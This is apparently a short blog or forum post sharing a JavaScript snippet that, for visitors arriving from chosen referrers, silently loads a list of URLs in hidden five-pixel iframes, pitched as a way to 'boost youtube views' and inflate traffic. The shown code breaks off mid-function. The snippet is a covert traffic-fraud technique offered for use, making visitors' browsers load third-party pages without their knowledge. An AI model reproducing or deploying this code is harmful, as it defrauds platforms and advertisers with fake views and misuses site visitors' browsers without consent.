What if you could load as many urls you wanted based on a single request. That would be awesome right – you could boost youtube views, lower your conversion or the like.
Well I wrote such a script for you guys.
Only two things you should know is this:
Code:
var rDomains = ["http://www.google.com","http://www.apple.com"];
Code:
var aDomains = [".com"];
“google.com” in there. You can comma delimit the list if you want.
example:
Code:
var aDomains = ["google.com","yahoo.com"];
It’s still a good idea to take care of the referrer on your pages. I will show you a little trick I use next time around.
Hope you like this.
<script type="text/javascript"> var sLocation = document.referrer.toLocaleLowerCase(); //Links to boost var rDomains = ["http://www.google.com","http://www.apple.com"]; //Allowed domain referrer var aDomains = [".com"]; var valid = 0; //Valid referrer for (i=0;i<aDomains.length;i++) { //Check referrer if (sLocation.indexOf(aDomains[i], 0) > -1) { valid = 1; break; } } //Valid referrer if (valid == 1) { //Loop for (i=0;i<rDomains.length;i++) { //alert(rDomains[i]); invisibleWindow("mydiv" + i,rDomains[i]); } } function invisibleWindow(iframeID, url) { divel = document.createElement("div"); divel.id = "div" + iframeID; divel.style.width = "5px"; divel.style.height = "5px"; divel.style.visibility = "hidden"; //Add div